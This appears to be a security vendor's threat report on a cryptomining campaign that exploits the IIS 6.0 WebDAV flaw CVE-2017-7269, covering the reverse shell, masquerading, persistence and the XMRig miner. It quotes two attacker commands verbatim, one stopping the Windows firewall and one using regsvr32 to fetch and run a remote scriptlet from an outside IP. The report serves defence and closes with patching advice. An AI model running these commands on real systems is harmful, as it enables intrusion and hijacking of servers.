F5 researchers recently noticed a new campaign exploiting a year-old vulnerability in Microsoft Internet Information Services (IIS) 6.0 servers to mine Electroneum cryptocurrency using the same IIS vulnerability (CVE–2017–7269) reported last year by ESET security researchers to have been abused to mine Monero and launch targeted attacks against organizations by the notorious "Lazarus" group. Lazarus group is widely believed to be North Korean government hackers.
This latest campaign shows that there are still systems vulnerable to this year-old vulnerability on an operating system that was declared end-of-life (EoL) three years ago. More recently, for example,in March 2017, it was publicly disclosed that Microsoft Internet Information Services (IIS) 6.0 is vulnerable to a new buffer overflow vulnerability in its WebDAV functionality. On successful exploitation, it is possible to remotely execute code. Upon release, it was reported that the vulnerability was already being exploited in the wild. Within two days, a Proof-of-Concept (POC) exploit was published.
The exploit in this campaign is identical to the original Proof-of-Concept (POC) exploit published in March 2017 but it embeds a different shellcode to execute attacker’s commands. The shellcode itself is an ASCII shellcode which contains a Return-Oriented Programming (ROP) chain. ASCII shellcode is machine code that consists entirely of alphanumeric ASCII or unicode characters, which allows an attacker to bypass input restrictions. The ROP exploitation technique composes shellcode from instructions already loaded into memory called "gadgets," instead of writing and executing additional external code into memory. This allows attackers to bypass security mechanisms such as executable space protection and code signing.
The execution of this shellcode results in opening a reverse shell to a malicious remote server. A reverse shell is a type of shell in which the target machine communicates back to attacker’s remote machine and waits for the attacker to send shell commands.
Once the compromised server is connected to the attacker’s remote machine, it will automatically receive and execute two commands.
CD /d %WinDir%\Temp\ & Net Stop SharedAccess /Y
This command stops the “Internet Connection Firewall (ICF)” service, which if present, may block outgoing communication from the compromised machine.
TaskKill /IM RegSvr32.exe /f & Start RegSvr32.exe /s /n /u /i:http://18.104.22.168/images/test.sct scrobj.dll
Here, the attacker is using a technique named “Squiblydoo” to bypass software whitelisting protection by executing attacker commands with a legitimate Microsoft binary. It allows the attacker to fetch and execute a remote Extensible Markup Language (XML) file that contains "scriptlets" with attacker’s code of choice, using a legitimate and signed “regsvr32” Windows binary. This binary is proxy aware, uses Transport Layer Security (TLS) encryption, and follows redirects.
Executing the Scriptlets
The downloaded XML file named "test.sct" contains VBscript scriptlets that hold attacker’s commands. The Microsoft Visual Basic Scripting (VBScript) still had attacker comments embedded.
Updating the Malware
If the attacker compromised the server previously, the script will stop and replace the old binary file with a new one before execution. The script tries to terminate a process of a specific file named “lsass.eXe” that is located in Windows OS folder under the path of "/System32/Temp."
The name "lsass.eXe" was chosen to mask the malicious file as a legitimate "lsass" process, a critical part of Windows. To make sure that the process terminates before the script tries to delete the file, the attacker uses the “ping” command to delay script execution. Our assumption is that the attacker chose the “ping” command over the “sleep” command because it is less suspicious. The “sleep” command appears to be commented out.
After performing these commands, the script creates a new file in the same location with the same name using the binary data from the Base64 string and executes it.
Getting Persistence as RPC Service
The script tries to register the execution command as an "RpcRemote" service to launch itself upon every system startup, which will grant persistence on the target. The name "RpcRemote" was chosen to make it look like a legitimate component of the operation system.
By looking at the command line executed by the script, we assume that the executable file is a crypto-currency miner. The clues are to be found in the "-p" and "-u" arguments, "stratum+tcp://" address, as well as the long wallet address starting with the "etn" letters, implying Electroneum (ETN) crypto-coin. The file itself is a 32bit version of a crypto-currency miner called XMRig (2.5.2) that was packed using the "Ultimate Packer for Executables" (UPX) packer.
The execution command instructs the miner to mine the Electroneum crypto-currency using several pools simultaneously to this wallet:
At the time of writing, the attacker has earned roughly $99 from the campaign across booth pools. This is a very small amount of money earned, given how lucrative most other crypto-mining campaigns are currently, making this campaign appear unsuccessful. One theory is that the attacker will change the wallet address from time to time. Another theory is that there aren’t many IIS 6.0 servers available to exploit left.
But although these attackers haven’t made much money on this campaign yet, we encourage businesses to abandon the use of EOL software in every instance possible. When that's not feasible, we recommend patching any critical vulnerability immediately upon release of the patch. If patching is not possible, there are many compensating controls that can be implemented depending on your security control framework such as blocking attacks with a Web Application Firewall (WAF), or not allowing vulnerable legacy systems to touch the internet.
For more details, click here.